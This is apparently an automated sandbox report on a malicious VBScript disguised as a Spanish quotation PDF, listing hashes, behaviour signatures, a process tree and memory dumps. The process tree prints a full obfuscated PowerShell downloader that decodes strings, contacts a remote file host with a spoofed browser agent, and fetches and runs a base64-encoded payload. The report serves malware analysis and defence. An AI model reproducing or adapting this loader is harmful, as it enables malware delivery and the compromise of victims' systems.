Analysis

  • max time kernel
    118s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    12-11-2024 00:03

General

  • Target

    Solicitud de cotización 11-11-2024·pdf.vbs

  • Size

    85KB

  • MD5

    e56ac816d58f9404f4dcdf20eaefc4e3

  • SHA1

    9e326579cf5f7fab3a13c7151263699247ec6c30

  • SHA256

    906ce7810e3b4d1729d3a5c3044af98b5447c0137c742476fa769df801fc843e

  • SHA512

    4d0b34a417df2d245a5c633ce5feb426780a11104773eca9b9ec1766a14ddd6d35f1fd96b26eb32e973d5688166376c041c63b659a8ee253348466acbfb7a936

  • SSDEEP

    1536:670tE9G0kixGd9papuoNHMqJ5uXsjJqPkKk/Qf/YugT1VBXaAj2abf:6Qa9GhAU9sh5u8sPQ/Qf/YuYVBzbf

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Solicitud de cotización 11-11-2024·pdf.vbs"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:1964
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Milieubeskyttelseshensynene Instrumentalise Marmorqmr Noncatechistic Indgraveredes Bevisfrelsen Scotopias #><#Synkretiserede Teatrene angrebsvinklernes Emmenia Tilpasningsklausulen #>$Japonicize='Uligevgt';function Ejicient($Anjilas){If ($host.DebuggerEnabled) {$Phonocardiogramme++;$kermesic=$Anjilas.'Length' - $Phonocardiogramme} for ( $bruger=4;$bruger -lt $kermesic;$bruger+=5){$Protopodite=$bruger;$Beveling+=$Anjilas[$bruger]}$Beveling}function Canework($Preconsideration){ .($Bogreolerne231) ($Preconsideration)}$Prepronounce=Ejicient 'S,mfN broeEnteTBesv. .ntW lamEUndeB RneCKredL p oiIsene UnpnBunkT Rim ';$Rhymesters=Ejicient 'UncoM SgeoNatuzDatoiDownlSpell AffaDip /abso ';$Systemstart=Ejicient 'FlitTStaml,ikisVigi1Isot2 ra ';$Hypotype='indu[NithnSupeE.ndeTPryd.Stags.nruETaw.RBjrnvAhlmiVandcDrame K mP Z moSponiSaddNComptMagemM moAPre N IsoaPr,rG tomECutwrOver]kult:.anh:op usDagvE Fu CMoleuKennRKythiSnowtForkY,yngPBostR O aoOpdrTadvioRosacKaleO U tlUdlb=Stru$ upSAssaY.jemSJakoTHaaneL.erMdimeSDi lTUnenASegnRTablTFl,r ';$Rhymesters+=Ejicient 'Baan5Doll. Chr0Spge Luks(Er,vWCompiPho nSubpdSmatoNimkwbru sMora terNForsTMist ekt1Dias0Limn. Nul0Bort;Hjer BiotWrefliPe.onFinn6Pres4Sauc;K pr BepxAfpi6 ank4Auri;Pand EnlirTjenvmend: Ken1Rekl3Hypo1Koin.Bi k0 s u)S.er WagGEnkeeF gecargekbadeoLu,m/Data2Fors0Genn1 Ca,0Smel0 Yal1maa 0 Tan1k ss craF Cy iStiprBr,geSpilfFri,o mu x.lio/sp.i1Seks3 C.t1Scil.Femk0edde ';$brugermpedient0=Ejicient 'Dan uDrifsShelE,sexrPeac-SmedaHjkoGRevoe,yreNBla.TEnte ';$Differs=Ejicient ' UhrhGri,t FrotSurdpVejls ekn:Paed/Decl/StandUnfirAlieiAb fv atteProt. FargMc ioAn ioLaang lielLimmeAfbe.SyskcCelloEp lm Smi/fortuS gecr pa? Skie oanxS edp alaoethyrFlletTviv=Shadd,isro,hriwAnkenVan lWhasoe,ugaFurrdglad&Ge siP acdempo=Spar1CemeWSeceFParoODermQEgenZWienEAff S SkrtindvRA fl1AntamUgl,lUn.n1PostSsto MFliclFly - Virb idsX s r6FaucI UnjFObjeFLon K Hom4SoliUS.omuBladMOveruEvne1FormPt gnhClos ';$Pediatricians=Ejicient ' Buk>Bl,s ';$Bogreolerne231=Ejicient ' .esIB,reeS.ilXUnd ';$Albins='Turreted';$Phobiac='\Birkepollen.Eje';Canework (Ejicient 'Ch m$Unqug.ersLPostO uckbChe aSkytl Su.:To nsTophoGiganKentgn,npESemiRLito1T.pw2Be r8Snvl=Stil$Binrearc,NNonpvsprn: ,nsaKat,PMis P UfrDAlbua VanTIntra ngr+tr,g$Ud ep amohPegmoSha B UnfIdia a PadcGe n ');Canework (Ejicient 'isle$PathGReh.LPol OSubsbEq iASotaLRute:Aan FQueyE lcrToucIShieestyrh Pe UU ioSUnpieCountSkafSGrue= Bry$ VisdGr iiworcFFlygFHarmEStagr,russ In . atuSVensp PlalBoomi,rigtSkos(albu$SerupTillEDyesd nvei ,atAJanntSt erLysfiTeoscterriPrieAPromNsi,msO ts)Ic r ');Canework (Ejicient $Hypotype);$Differs=$Feriehusets[0];$Vorterod=(Ejicient 'Ca,y$Pr eG keLF,rhoDredBT ksaPotaLBrs :SympZPibeyTradgSt,eoVibrmBailA BiltHyttI,vercLyssO efoSHlerp T eh WhiES.ejN eksoUngeinapadembl=HeliNeftee irkwAb.o- .ovOTextB smojFribeCommc lagTHi t in iS UroYFugesBalst KonEKnalmT ut.Su t$PossPEvolR v.sEPresp ScorThr o TilN S soPyorU CannRut cK,biETran ');Canework ($Vorterod);Canework (Ejicient 'Sm,u$MagtZBesky,ollgVareoVegnmSwitaNu ltAutoi Br c.ondoFrodsa rap jesh SpoePi fnAtr oBeboiG,egdP eo.DelbHScopeDiaraBilad C.ieDehorArchsWool[k.nv$ D,sbBumlrSow uFol g nnieAc,nrCoremSammp SkaeSe idEutri staeM ksn montBefo0Pian]Urov=Li.r$RuneRm lehLin,yOliomTranesk tsUopstScabeAllir Ko,sStip ');$Antndelsen35=Ejicient 'Util$t lsZJenty .hagmakro ,atm plaaR fitYasmiM ricAbi,oEu,esCar pE.dehLaveeKompn hroSpndiMetrd oye.FrikDOveroF,rswProsnCis lGodso ManaV lgdForsFMeati Un lTjene G e(Over$BhalDRepaiOpmufS cif .rbeSalirPyrosNect, M n$LastRLeopiQuows En iKla kConnoka,df horr autiProke Sl sHenst M r)Sta ';$Risikofriest=$Songer128;Canework (Ejicient '.eto$Guttg Fe lT chOUdmubIsopaUdelL ra:slidmti gOSto R,jelpTempHPropIEradn F eELand=Alve(FdertTox e EffSnotatPost- RoopUnmoAFemtT einH urf Sca,$ RepROlieiSlvlsCautIDesskUndeOH lmfTimerViseiProgEL.ggsFlirT Kil)Spis ');while (!$Morphine) {Canework (Ejicient 'Husf$ OvegPlanlVandoB babHe raPinnlChuk:DisiO Judv Unse EirrT ilbUnpauSklmrOutbtEdelhAkaneSulfn Sma= lli$ nvtHararParauFr.keBeto ') ;Canework $Antndelsen35;Canework (Ejicient 'Wa sSDisstGeolA TudRApostSter- MalsunpeLUmi.EFrikEAngeP Pin Ope4Olva ');Canework (Ejicient 'R,mn$DrosgOc alMayaogas B Bn.a Anal Sp,:,eviMCircoAnd RAktipSk,bh,latiUdlgnOps.e Kol=Trom( mo T TalEBonbSUnditSkld-KilopDet AK rnTDiviH Pin B,ck$TotaRir eiNonlS DraI subKFelloPallfFyldrsqueiSnureBronS antFore)Peri ') ;Canework (Ejicient 'saks$Sy bGVinkL,ascoFrembUnalA StilSequ:NedfbJohaOScalu.oteRI teDHenfOPapbN Hi =Phil$EpisGT vel TorOCarwB E,caReg L efl: Gger M.saBo.dgK lka ombMYukouEvenfRvenfSpumiStatn rod+Afgi+ A.b% C a$SherfUdsmEDeprRBerlIMal.EPr fh ForULu.tSSkoseAfgaT ressKomm.HedacSp.roUnasUCowpN upTCent ') ;$Differs=$Feriehusets[$bourdon]}$Bevgeligst=284907;$Antecommunion=30136;Canework (Ejicient '.tyr$AlligkoglLSp.iOUm.lBoutcAPermljust:Slimm ca IKombSVolcjPr vU,remd TunGCultEMach Skri=Dith ListgOrloETot tSi.k-Tai,CBewroEnkeNBea,t TryeOutsNDe,uT Lig Soc $plicrTraniLaurSLimpiLesiKGe.uO Ba FSladRStyriAfdee,ollS ematarab ');Canework (Ejicient ' Ret$Su.dgBromlKlipoUlvibAnnoaHy rlBe g:MarvUTjurn,arstKorrhUrenrSpiliDi kfGldstG aaiRe rn .nte VegsDdsmsHous Fald=Alta ruma[ToppSSpeeyDruksOpdat N neUdlymMidn.BombCKlino FesnStipvD,steUndersorttM ta] os:W.ol:AggrF LgerKrukoAirlm TagBAffaaRegus Ma e .ar6G,nn4ProvS ph tS.lvrSkibi Deanmed gUnsh(Marg$CotwMDgneiSortsBl.njPrimu ormdDommgChereSter),abr ');Canework (Ejicient 'Sn,p$KirggGrnslbesyOOpdrbSurramandLBev : S,eFTok I atenAnthS AcekUnprEUns Bys =Lipo f.rs[ tyrs C iyLegas nogtAkkoEPopsMSelv.FacsT,avne lejx r fTWarr.R aeECarmnPejlC KjvOSamldNonsiOvernUphiGProp]osca:Oev : uarABygnS ileCP raIGeneIMusk.LynaGSlvkEbotaTOx,ds ondtCharRAnt,IRediN .llgocul(B,on$UnwiUN stNUnh,TLivshAnm.R DdsIDan.fTudsTDataiPlanNTrisEMa.uS AlmsF.de) Mas ');Canework (Ejicient 'Appl$UdenG MelLEnerOSt.nBKlu aMustLHjem:I dsfMongACzecIOmgiRGrunYPierhThyro olaOAfstDtils=Frus$UtaaFDispIV.nrnIsvrS StiK reqEV ri.U,orsDeloU Ba.bBaghsSa mtIncoRTea,I ldNPul gEmer(Ecti$NonfbLaunESkovvDe egU.iseEk hL,delISelvgTveks,ophtSubc, Eli$Da,aaUnchnEmi tD,seETalkCDysmoP lamcurrMCoa,uEvisnBrkvi FinoLegeNSere) Bom ');Canework $Fairyhood;"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2568

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\Cab80.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • memory/2568-20-0x000007FEF5AEE000-0x000007FEF5AEF000-memory.dmp

    Filesize

    4KB

  • memory/2568-21-0x000000001B670000-0x000000001B952000-memory.dmp

    Filesize

    2.9MB

  • memory/2568-23-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp

    Filesize

    9.6MB

  • memory/2568-24-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp

    Filesize

    9.6MB

  • memory/2568-22-0x0000000001D20000-0x0000000001D28000-memory.dmp

    Filesize

    32KB

  • memory/2568-25-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp

    Filesize

    9.6MB

  • memory/2568-26-0x000007FEF5AEE000-0x000007FEF5AEF000-memory.dmp

    Filesize

    4KB

  • memory/2568-27-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp

    Filesize

    9.6MB

  • memory/2568-28-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp

    Filesize

    9.6MB

  • memory/2568-29-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp

    Filesize

    9.6MB

  • memory/2568-30-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp

    Filesize

    9.6MB

  • memory/2568-31-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp

    Filesize

    9.6MB